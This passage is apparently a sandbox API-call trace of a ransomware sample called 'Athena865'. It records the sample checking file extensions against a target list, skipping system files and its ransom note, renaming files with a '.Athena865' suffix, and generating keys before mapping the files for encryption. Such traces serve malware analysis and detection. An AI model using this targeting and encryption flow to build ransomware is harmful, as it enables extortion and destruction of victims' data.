[0107.482] lstrlenW (lpString="frm") returned 3 [0107.482] lstrcmpiW (lpString1="CFG", lpString2="frm") returned -1 [0107.482] lstrlenW (lpString="gdb") returned 3 [0107.482] lstrcmpiW (lpString1="CFG", lpString2="gdb") returned -1 [0107.482] lstrlenW (lpString="gdb") returned 3 [0107.482] lstrcmpiW (lpString1="CFG", lpString2="gdb") returned -1 [0107.482] lstrlenW (lpString="grdb") returned 4 [0107.482] lstrcmpiW (lpString1=".CFG", lpString2="grdb") returned -1 [0107.482] lstrlenW (lpString="gwi") returned 3 [0107.482] lstrcmpiW (lpString1="CFG", lpString2="gwi") returned -1 [0107.482] lstrlenW (lpString="hdb") returned 3 [0107.482] lstrcmpiW (lpString1="CFG", lpString2="hdb") returned -1 [0107.482] lstrlenW (lpString="his") returned 3 [0107.482] lstrcmpiW (lpString1="CFG", lpString2="his") returned -1 [0107.482] lstrlenW (lpString="ib") returned 2 [0107.482] lstrcmpiW (lpString1="FG", lpString2="ib") returned -1 [0107.482] lstrlenW (lpString="idb") returned 3 [0107.482] lstrcmpiW (lpString1="CFG", lpString2="idb") returned -1 [0107.482] lstrlenW (lpString="ihx") returned 3 [0107.482] lstrcmpiW (lpString1="CFG", lpString2="ihx") returned -1 [0107.483] lstrlenW (lpString="itdb") returned 4 [0107.483] lstrcmpiW (lpString1=".CFG", lpString2="itdb") returned -1 [0107.483] lstrlenW (lpString="itw") returned 3 [0107.483] lstrcmpiW (lpString1="CFG", lpString2="itw") returned -1 [0107.483] lstrlenW (lpString="jet") returned 3 [0107.483] lstrcmpiW (lpString1="CFG", lpString2="jet") returned -1 [0107.483] lstrlenW (lpString="jtx") returned 3 [0107.483] lstrcmpiW (lpString1="CFG", lpString2="jtx") returned -1 [0107.483] lstrlenW (lpString="kdb") returned 3 [0107.483] lstrcmpiW (lpString1="CFG", lpString2="kdb") returned -1 [0107.483] lstrlenW (lpString="kexi") returned 4 [0107.483] lstrcmpiW (lpString1=".CFG", lpString2="kexi") returned -1 [0107.483] lstrlenW (lpString="kexic") returned 5 [0107.483] lstrcmpiW (lpString1="2.CFG", lpString2="kexic") returned -1 [0107.483] lstrlenW (lpString="kexis") returned 5 [0107.483] lstrcmpiW (lpString1="2.CFG", lpString2="kexis") returned -1 [0107.483] lstrlenW (lpString="lgc") returned 3 [0107.483] lstrcmpiW (lpString1="CFG", lpString2="lgc") returned -1 [0107.483] lstrlenW (lpString="lwx") returned 3 [0107.483] lstrcmpiW (lpString1="CFG", lpString2="lwx") returned -1 [0107.483] lstrlenW (lpString="maf") returned 3 [0107.483] lstrcmpiW (lpString1="CFG", lpString2="maf") returned -1 [0107.483] lstrlenW (lpString="maq") returned 3 [0107.483] lstrcmpiW (lpString1="CFG", lpString2="maq") returned -1 [0107.483] lstrlenW (lpString="mar") returned 3 [0107.483] lstrcmpiW (lpString1="CFG", lpString2="mar") returned -1 [0107.483] lstrlenW (lpString="marshal") returned 7 [0107.483] lstrcmpiW (lpString1="P32.CFG", lpString2="marshal") returned 1 [0107.483] lstrlenW (lpString="mas") returned 3 [0107.483] lstrcmpiW (lpString1="CFG", lpString2="mas") returned -1 [0107.483] lstrlenW (lpString="mav") returned 3 [0107.483] lstrcmpiW (lpString1="CFG", lpString2="mav") returned -1 [0107.484] lstrlenW (lpString="maw") returned 3 [0107.484] lstrcmpiW (lpString1="CFG", lpString2="maw") returned -1 [0107.484] lstrlenW (lpString="mdbhtml") returned 7 [0107.484] lstrcmpiW (lpString1="P32.CFG", lpString2="mdbhtml") returned 1 [0107.484] lstrlenW (lpString="mdn") returned 3 [0107.484] lstrcmpiW (lpString1="CFG", lpString2="mdn") returned -1 [0107.484] lstrlenW (lpString="mdt") returned 3 [0107.484] lstrcmpiW (lpString1="CFG", lpString2="mdt") returned -1 [0107.484] lstrlenW (lpString="mfd") returned 3 [0107.484] lstrcmpiW (lpString1="CFG", lpString2="mfd") returned -1 [0107.484] lstrlenW (lpString="mpd") returned 3 [0107.484] lstrcmpiW (lpString1="CFG", lpString2="mpd") returned -1 [0107.484] lstrlenW (lpString="mrg") returned 3 [0107.484] lstrcmpiW (lpString1="CFG", lpString2="mrg") returned -1 [0107.484] lstrlenW (lpString="mud") returned 3 [0107.484] lstrcmpiW (lpString1="CFG", lpString2="mud") returned -1 [0107.484] lstrlenW (lpString="mwb") returned 3 [0107.484] lstrcmpiW (lpString1="CFG", lpString2="mwb") returned -1 [0107.484] lstrlenW (lpString="myd") returned 3 [0107.484] lstrcmpiW (lpString1="CFG", lpString2="myd") returned -1 [0107.484] lstrlenW (lpString="ndf") returned 3 [0107.484] lstrcmpiW (lpString1="CFG", lpString2="ndf") returned -1 [0107.484] lstrlenW (lpString="nnt") returned 3 [0107.484] lstrcmpiW (lpString1="CFG", lpString2="nnt") returned -1 [0107.484] lstrlenW (lpString="nrmlib") returned 6 [0107.484] lstrcmpiW (lpString1="32.CFG", lpString2="nrmlib") returned -1 [0107.484] lstrlenW (lpString="ns2") returned 3 [0107.484] lstrcmpiW (lpString1="CFG", lpString2="ns2") returned -1 [0107.484] lstrlenW (lpString="ns3") returned 3 [0107.484] lstrcmpiW (lpString1="CFG", lpString2="ns3") returned -1 [0107.484] lstrlenW (lpString="ns4") returned 3 [0107.485] lstrcmpiW (lpString1="CFG", lpString2="ns4") returned -1 [0107.485] lstrlenW (lpString="nsf") returned 3 [0107.485] lstrcmpiW (lpString1="CFG", lpString2="nsf") returned -1 [0107.485] lstrlenW (lpString="nv") returned 2 [0107.485] lstrcmpiW (lpString1="FG", lpString2="nv") returned -1 [0107.485] lstrlenW (lpString="nv2") returned 3 [0107.485] lstrcmpiW (lpString1="CFG", lpString2="nv2") returned -1 [0107.485] lstrlenW (lpString="nwdb") returned 4 [0107.485] lstrcmpiW (lpString1=".CFG", lpString2="nwdb") returned -1 [0107.485] lstrlenW (lpString="nyf") returned 3 [0107.485] lstrcmpiW (lpString1="CFG", lpString2="nyf") returned -1 [0107.485] lstrlenW (lpString="odb") returned 3 [0107.485] lstrcmpiW (lpString1="CFG", lpString2="odb") returned -1 [0107.485] lstrlenW (lpString="odb") returned 3 [0107.485] lstrcmpiW (lpString1="CFG", lpString2="odb") returned -1 [0107.485] lstrlenW (lpString="oqy") returned 3 [0107.485] lstrcmpiW (lpString1="CFG", lpString2="oqy") returned -1 [0107.485] lstrlenW (lpString="ora") returned 3 [0107.485] lstrcmpiW (lpString1="CFG", lpString2="ora") returned -1 [0107.485] lstrlenW (lpString="orx") returned 3 [0107.485] lstrcmpiW (lpString1="CFG", lpString2="orx") returned -1 [0107.485] lstrlenW (lpString="owc") returned 3 [0107.485] lstrcmpiW (lpString1="CFG", lpString2="owc") returned -1 [0107.485] lstrlenW (lpString="p96") returned 3 [0107.485] lstrcmpiW (lpString1="CFG", lpString2="p96") returned -1 [0107.485] lstrlenW (lpString="p97") returned 3 [0107.485] lstrcmpiW (lpString1="CFG", lpString2="p97") returned -1 [0107.485] lstrlenW (lpString="pan") returned 3 [0107.485] lstrcmpiW (lpString1="CFG", lpString2="pan") returned -1 [0107.485] lstrlenW (lpString="pdb") returned 3 [0107.485] lstrcmpiW (lpString1="CFG", lpString2="pdb") returned -1 [0107.486] lstrlenW (lpString="pdm") returned 3 [0107.486] lstrcmpiW (lpString1="CFG", lpString2="pdm") returned -1 [0107.486] lstrlenW (lpString="pnz") returned 3 [0107.486] lstrcmpiW (lpString1="CFG", lpString2="pnz") returned -1 [0107.486] lstrlenW (lpString="qry") returned 3 [0107.486] lstrcmpiW (lpString1="CFG", lpString2="qry") returned -1 [0107.486] lstrlenW (lpString="qvd") returned 3 [0107.486] lstrcmpiW (lpString1="CFG", lpString2="qvd") returned -1 [0107.486] lstrlenW (lpString="rbf") returned 3 [0107.486] lstrcmpiW (lpString1="CFG", lpString2="rbf") returned -1 [0107.486] lstrlenW (lpString="rctd") returned 4 [0107.486] lstrcmpiW (lpString1=".CFG", lpString2="rctd") returned -1 [0107.486] lstrlenW (lpString="rod") returned 3 [0107.486] lstrcmpiW (lpString1="CFG", lpString2="rod") returned -1 [0107.486] lstrlenW (lpString="rodx") returned 4 [0107.486] lstrcmpiW (lpString1=".CFG", lpString2="rodx") returned -1 [0107.486] lstrlenW (lpString="rpd") returned 3 [0107.486] lstrcmpiW (lpString1="CFG", lpString2="rpd") returned -1 [0107.486] lstrlenW (lpString="rsd") returned 3 [0107.486] lstrcmpiW (lpString1="CFG", lpString2="rsd") returned -1 [0107.486] lstrlenW (lpString="sas7bdat") returned 8 [0107.486] lstrcmpiW (lpString1="MP32.CFG", lpString2="sas7bdat") returned -1 [0107.486] lstrlenW (lpString="sbf") returned 3 [0107.486] lstrcmpiW (lpString1="CFG", lpString2="sbf") returned -1 [0107.487] lstrlenW (lpString="scx") returned 3 [0107.487] lstrcmpiW (lpString1="CFG", lpString2="scx") returned -1 [0107.487] lstrlenW (lpString="sdb") returned 3 [0107.487] lstrcmpiW (lpString1="CFG", lpString2="sdb") returned -1 [0107.487] lstrlenW (lpString="sdc") returned 3 [0107.487] lstrcmpiW (lpString1="CFG", lpString2="sdc") returned -1 [0107.487] lstrlenW (lpString="sdf") returned 3 [0107.487] lstrcmpiW (lpString1="CFG", lpString2="sdf") returned -1 [0107.487] lstrlenW (lpString="sis") returned 3 [0107.487] lstrcmpiW (lpString1="CFG", lpString2="sis") returned -1 [0107.487] lstrlenW (lpString="spq") returned 3 [0107.487] lstrcmpiW (lpString1="CFG", lpString2="spq") returned -1 [0107.487] lstrlenW (lpString="te") returned 2 [0107.487] lstrcmpiW (lpString1="FG", lpString2="te") returned -1 [0107.487] lstrlenW (lpString="teacher") returned 7 [0107.487] lstrcmpiW (lpString1="P32.CFG", lpString2="teacher") returned -1 [0107.487] lstrlenW (lpString="tmd") returned 3 [0107.487] lstrcmpiW (lpString1="CFG", lpString2="tmd") returned -1 [0107.487] lstrlenW (lpString="tps") returned 3 [0107.487] lstrcmpiW (lpString1="CFG", lpString2="tps") returned -1 [0107.487] lstrlenW (lpString="trc") returned 3 [0107.487] lstrcmpiW (lpString1="CFG", lpString2="trc") returned -1 [0107.487] lstrlenW (lpString="trc") returned 3 [0107.487] lstrcmpiW (lpString1="CFG", lpString2="trc") returned -1 [0107.487] lstrlenW (lpString="trm") returned 3 [0107.487] lstrcmpiW (lpString1="CFG", lpString2="trm") returned -1 [0107.487] lstrlenW (lpString="udb") returned 3 [0107.487] lstrcmpiW (lpString1="CFG", lpString2="udb") returned -1 [0107.487] lstrlenW (lpString="udl") returned 3 [0107.487] lstrcmpiW (lpString1="CFG", lpString2="udl") returned -1 [0107.487] lstrlenW (lpString="usr") returned 3 [0107.487] lstrcmpiW (lpString1="CFG", lpString2="usr") returned -1 [0107.487] lstrlenW (lpString="v12") returned 3 [0107.488] lstrcmpiW (lpString1="CFG", lpString2="v12") returned -1 [0107.488] lstrlenW (lpString="vis") returned 3 [0107.488] lstrcmpiW (lpString1="CFG", lpString2="vis") returned -1 [0107.488] lstrlenW (lpString="vpd") returned 3 [0107.488] lstrcmpiW (lpString1="CFG", lpString2="vpd") returned -1 [0107.488] lstrlenW (lpString="vvv") returned 3 [0107.488] lstrcmpiW (lpString1="CFG", lpString2="vvv") returned -1 [0107.488] lstrlenW (lpString="wdb") returned 3 [0107.488] lstrcmpiW (lpString1="CFG", lpString2="wdb") returned -1 [0107.488] lstrlenW (lpString="wmdb") returned 4 [0107.488] lstrcmpiW (lpString1=".CFG", lpString2="wmdb") returned -1 [0107.488] lstrlenW (lpString="wrk") returned 3 [0107.488] lstrcmpiW (lpString1="CFG", lpString2="wrk") returned -1 [0107.488] lstrlenW (lpString="xdb") returned 3 [0107.488] lstrcmpiW (lpString1="CFG", lpString2="xdb") returned -1 [0107.488] lstrlenW (lpString="xld") returned 3 [0107.488] lstrcmpiW (lpString1="CFG", lpString2="xld") returned -1 [0107.488] lstrlenW (lpString="xmlff") returned 5 [0107.488] lstrcmpiW (lpString1="2.CFG", lpString2="xmlff") returned -1 [0107.488] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.Athena865") returned 77 [0107.488] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg.athena865"), dwFlags=0x1) returned 1 [0107.489] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0107.489] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6811) returned 1 [0107.489] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0107.490] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0107.490] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0107.490] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0107.490] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0107.490] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0107.491] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1da0, lpName=0x0) returned 0x17c [0107.493] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1da0) returned 0x100000 [0107.494] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0107.495] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0107.495] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0107.495] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0107.495] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0107.495] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0107.495] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0107.495] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.495] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0107.495] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0107.496] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0107.496] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.496] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0107.496] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0107.496] CloseHandle (hObject=0x17c) returned 1 [0107.496] CloseHandle (hObject=0x154) returned 1 [0107.496] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0107.496] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0107.496] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0107.496] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda4ec00, ftCreationTime.dwHighDateTime=0x1cba021, ftLastAccessTime.dwLowDateTime=0xc22488c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfda4ec00, ftLastWriteTime.dwHighDateTime=0x1cba021, nFileSizeHigh=0x0, nFileSizeLow=0x4f160, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CGMIMP32.FLT", cAlternateFileName="")) returned 1 [0107.496] lstrcmpiW (lpString1="CGMIMP32.FLT", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0107.496] lstrcmpiW (lpString1="CGMIMP32.FLT", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0107.496] lstrcmpiW (lpString1="CGMIMP32.FLT", lpString2=".") returned 1 [0107.496] lstrcmpiW (lpString1="CGMIMP32.FLT", lpString2="..") returned 1 [0107.496] lstrcmpiW (lpString1="CGMIMP32.FLT", lpString2="windows") returned -1 [0107.496] lstrcmpiW (lpString1="CGMIMP32.FLT", lpString2="bootmgr") returned 1 [0107.496] lstrcmpiW (lpString1="CGMIMP32.FLT", lpString2="temp") returned -1 [0107.496] lstrcmpiW (lpString1="CGMIMP32.FLT", lpString2="pagefile.sys") returned -1 [0107.496] lstrcmpiW (lpString1="CGMIMP32.FLT", lpString2="boot") returned 1 [0107.497] lstrcmpiW (lpString1="CGMIMP32.FLT", lpString2="ids.txt") returned -1 [0107.497] lstrcmpiW (lpString1="CGMIMP32.FLT", lpString2="ntuser.dat") returned -1 [0107.497] lstrcmpiW (lpString1="CGMIMP32.FLT", lpString2="perflogs") returned -1 [0107.497] lstrcmpiW (lpString1="CGMIMP32.FLT", lpString2="MSBuild") returned -1 [0107.497] lstrlenW (lpString="CGMIMP32.FLT") returned 12 [0107.497] lstrcpyW (in: lpString1=0x241e8b6, lpString2="CGMIMP32.FLT" | out: lpString1="CGMIMP32.FLT") returned="CGMIMP32.FLT" [0107.497] lstrlenW (lpString="CGMIMP32.FLT") returned 12 [0107.497] lstrlenW (lpString="Athena865") returned 9 [0107.497] lstrcmpiW (lpString1="IMP32.FLT", lpString2="Athena865") returned 1 [0107.497] lstrlenW (lpString=".dll") returned 4 [0107.497] lstrcmpiW (lpString1="CGMIMP32.FLT", lpString2=".dll") returned 1 [0107.497] lstrlenW (lpString=".lnk") returned 4 [0107.497] lstrcmpiW (lpString1="CGMIMP32.FLT", lpString2=".lnk") returned 1 [0107.497] lstrlenW (lpString=".ini") returned 4 [0107.497] lstrcmpiW (lpString1="CGMIMP32.FLT", lpString2=".ini") returned 1 [0107.497] lstrlenW (lpString=".sys") returned 4 [0107.497] lstrcmpiW (lpString1="CGMIMP32.FLT", lpString2=".sys") returned 1 [0107.497] lstrlenW (lpString="CGMIMP32.FLT") returned 12 [0107.497] lstrlenW (lpString="bak") returned 3 [0107.497] lstrcmpiW (lpString1="FLT", lpString2="bak") returned 1 [0107.497] lstrlenW (lpString="ba_") returned 3 [0107.497] lstrcmpiW (lpString1="FLT", lpString2="ba_") returned 1 [0107.497] lstrlenW (lpString="dbb") returned 3 [0107.497] lstrcmpiW (lpString1="FLT", lpString2="dbb") returned 1 [0107.497] lstrlenW (lpString="vmdk") returned 4 [0107.497] lstrcmpiW (lpString1=".FLT", lpString2="vmdk") returned -1 [0107.497] lstrlenW (lpString="rar") returned 3 [0107.497] lstrcmpiW (lpString1="FLT", lpString2="rar") returned -1 [0107.497] lstrlenW (lpString="zip") returned 3 [0107.497] lstrcmpiW (lpString1="FLT", lpString2="zip") returned -1 [0107.497] lstrlenW (lpString="tgz") returned 3 [0107.498] lstrcmpiW (lpString1="FLT", lpString2="tgz") returned -1 [0107.498] lstrlenW (lpString="vbox") returned 4 [0107.498] lstrcmpiW (lpString1=".FLT", lpString2="vbox") returned -1 [0107.498] lstrlenW (lpString="vdi") returned 3 [0107.498] lstrcmpiW (lpString1="FLT", lpString2="vdi") returned -1 [0107.498] lstrlenW (lpString="vhd") returned 3 [0107.498] lstrcmpiW (lpString1="FLT", lpString2="vhd") returned -1 [0107.498] lstrlenW (lpString="vhdx") returned 4 [0107.498] lstrcmpiW (lpString1=".FLT", lpString2="vhdx") returned -1 [0107.498] lstrlenW (lpString="avhd") returned 4 [0107.498] lstrcmpiW (lpString1=".FLT", lpString2="avhd") returned -1 [0107.498] lstrlenW (lpString="db") returned 2 [0107.498] lstrcmpiW (lpString1="LT", lpString2="db") returned 1 [0107.498] lstrlenW (lpString="db2") returned 3 [0107.498] lstrcmpiW (lpString1="FLT", lpString2="db2") returned 1 [0107.498] lstrlenW (lpString="db3") returned 3 [0107.498] lstrcmpiW (lpString1="FLT", lpString2="db3") returned 1 [0107.498] lstrlenW (lpString="dbf") returned 3 [0107.498] lstrcmpiW (lpString1="FLT", lpString2="dbf") returned 1 [0107.498] lstrlenW (lpString="mdf") returned 3 [0107.498] lstrcmpiW (lpString1="FLT", lpString2="mdf") returned -1 [0107.498] lstrlenW (lpString="mdb") returned 3 [0107.498] lstrcmpiW (lpString1="FLT", lpString2="mdb") returned -1 [0107.498] lstrlenW (lpString="sql") returned 3 [0107.498] lstrcmpiW (lpString1="FLT", lpString2="sql") returned -1 [0107.498] lstrlenW (lpString="sqlite") returned 6 [0107.498] lstrcmpiW (lpString1="32.FLT", lpString2="sqlite") returned -1 [0107.498] lstrlenW (lpString="sqlite3") returned 7 [0107.498] lstrcmpiW (lpString1="P32.FLT", lpString2="sqlite3") returned -1 [0107.498] lstrlenW (lpString="sqlitedb") returned 8 [0107.498] lstrcmpiW (lpString1="MP32.FLT", lpString2="sqlitedb") returned -1 [0107.498] lstrlenW (lpString="xml") returned 3 [0107.499] lstrcmpiW (lpString1="FLT", lpString2="xml") returned -1 [0107.499] lstrlenW (lpString="$er") returned 3 [0107.499] lstrcmpiW (lpString1="FLT", lpString2="$er") returned 1 [0107.499] lstrlenW (lpString="4dd") returned 3 [0107.499] lstrcmpiW (lpString1="FLT", lpString2="4dd") returned 1 [0107.499] lstrlenW (lpString="4dl") returned 3 [0107.499] lstrcmpiW (lpString1="FLT", lpString2="4dl") returned 1 [0107.499] lstrlenW (lpString="^^^") returned 3 [0107.499] lstrcmpiW (lpString1="FLT", lpString2="^^^") returned 1 [0107.499] lstrlenW (lpString="abs") returned 3 [0107.499] lstrcmpiW (lpString1="FLT", lpString2="abs") returned 1 [0107.499] lstrlenW (lpString="abx") returned 3 [0107.499] lstrcmpiW (lpString1="FLT", lpString2="abx") returned 1 [0107.499] lstrlenW (lpString="accdb") returned 5 [0107.499] lstrcmpiW (lpString1="2.FLT", lpString2="accdb") returned -1 [0107.499] lstrlenW (lpString="accdc") returned 5 [0107.499] lstrcmpiW (lpString1="2.FLT", lpString2="accdc") returned -1 [0107.499] lstrlenW (lpString="accde") returned 5 [0107.499] lstrcmpiW (lpString1="2.FLT", lpString2="accde") returned -1 [0107.499] lstrlenW (lpString="accdr") returned 5 [0107.499] lstrcmpiW (lpString1="2.FLT", lpString2="accdr") returned -1 [0107.499] lstrlenW (lpString="accdt") returned 5 [0107.499] lstrcmpiW (lpString1="2.FLT", lpString2="accdt") returned -1 [0107.499] lstrlenW (lpString="accdw") returned 5 [0107.499] lstrcmpiW (lpString1="2.FLT", lpString2="accdw") returned -1 [0107.499] lstrlenW (lpString="accft") returned 5 [0107.499] lstrcmpiW (lpString1="2.FLT", lpString2="accft") returned -1 [0107.499] lstrlenW (lpString="adb") returned 3 [0107.499] lstrcmpiW (lpString1="FLT", lpString2="adb") returned 1 [0107.499] lstrlenW (lpString="adb") returned 3 [0107.499] lstrcmpiW (lpString1="FLT", lpString2="adb") returned 1 [0107.499] lstrlenW (lpString="ade") returned 3 [0107.499] lstrcmpiW (lpString1="FLT", lpString2="ade") returned 1 [0107.500] lstrlenW (lpString="adf") returned 3 [0107.500] lstrcmpiW (lpString1="FLT", lpString2="adf") returned 1 [0107.500] lstrlenW (lpString="adn") returned 3 [0107.500] lstrcmpiW (lpString1="FLT", lpString2="adn") returned 1 [0107.500] lstrlenW (lpString="adp") returned 3 [0107.500] lstrcmpiW (lpString1="FLT", lpString2="adp") returned 1 [0107.500] lstrlenW (lpString="alf") returned 3 [0107.500] lstrcmpiW (lpString1="FLT", lpString2="alf") returned 1 [0107.500] lstrlenW (lpString="ask") returned 3 [0107.500] lstrcmpiW (lpString1="FLT", lpString2="ask") returned 1 [0107.500] lstrlenW (lpString="btr") returned 3 [0107.500] lstrcmpiW (lpString1="FLT", lpString2="btr") returned 1 [0107.500] lstrlenW (lpString="cat") returned 3 [0107.500] lstrcmpiW (lpString1="FLT", lpString2="cat") returned 1 [0107.500] lstrlenW (lpString="cdb") returned 3 [0107.500] lstrcmpiW (lpString1="FLT", lpString2="cdb") returned 1 [0107.500] lstrlenW (lpString="ckp") returned 3 [0107.500] lstrcmpiW (lpString1="FLT", lpString2="ckp") returned 1 [0107.500] lstrlenW (lpString="cma") returned 3 [0107.500] lstrcmpiW (lpString1="FLT", lpString2="cma") returned 1 [0107.500] lstrlenW (lpString="cpd") returned 3 [0107.500] lstrcmpiW (lpString1="FLT", lpString2="cpd") returned 1 [0107.500] lstrlenW (lpString="dacpac") returned 6 [0107.500] lstrcmpiW (lpString1="32.FLT", lpString2="dacpac") returned -1 [0107.500] lstrlenW (lpString="dad") returned 3 [0107.500] lstrcmpiW (lpString1="FLT", lpString2="dad") returned 1 [0107.500] lstrlenW (lpString="dadiagrams") returned 10 [0107.500] lstrcmpiW (lpString1="MIMP32.FLT", lpString2="dadiagrams") returned 1 [0107.500] lstrlenW (lpString="daschema") returned 8 [0107.500] lstrcmpiW (lpString1="MP32.FLT", lpString2="daschema") returned 1 [0107.500] lstrlenW (lpString="db-journal") returned 10 [0107.500] lstrcmpiW (lpString1="MIMP32.FLT", lpString2="db-journal") returned 1 [0107.500] lstrlenW (lpString="db-shm") returned 6 [0107.501] lstrcmpiW (lpString1="32.FLT", lpString2="db-shm") returned -1 [0107.501] lstrlenW (lpString="db-wal") returned 6 [0107.501] lstrcmpiW (lpString1="32.FLT", lpString2="db-wal") returned -1 [0107.501] lstrlenW (lpString="dbc") returned 3 [0107.501] lstrcmpiW (lpString1="FLT", lpString2="dbc") returned 1 [0107.501] lstrlenW (lpString="dbs") returned 3 [0107.501] lstrcmpiW (lpString1="FLT", lpString2="dbs") returned 1 [0107.501] lstrlenW (lpString="dbt") returned 3 [0107.501] lstrcmpiW (lpString1="FLT", lpString2="dbt") returned 1 [0107.501] lstrlenW (lpString="dbv") returned 3 [0107.501] lstrcmpiW (lpString1="FLT", lpString2="dbv") returned 1 [0107.501] lstrlenW (lpString="dbx") returned 3 [0107.501] lstrcmpiW (lpString1="FLT", lpString2="dbx") returned 1 [0107.501] lstrlenW (lpString="dcb") returned 3 [0107.501] lstrcmpiW (lpString1="FLT", lpString2="dcb") returned 1 [0107.501] lstrcmpiW (lpString1="FLT", lpString2="dct") returned 1 [0107.501] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.Athena865") returned 77 [0107.501] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt.athena865"), dwFlags=0x1) returned 1 [0107.502] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0107.502] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=323936) returned 1 [0107.502] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0107.503] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0107.503] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0107.503] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0107.503] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0107.503] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0107.504] CreateFileMappingW (hFile=0x154, 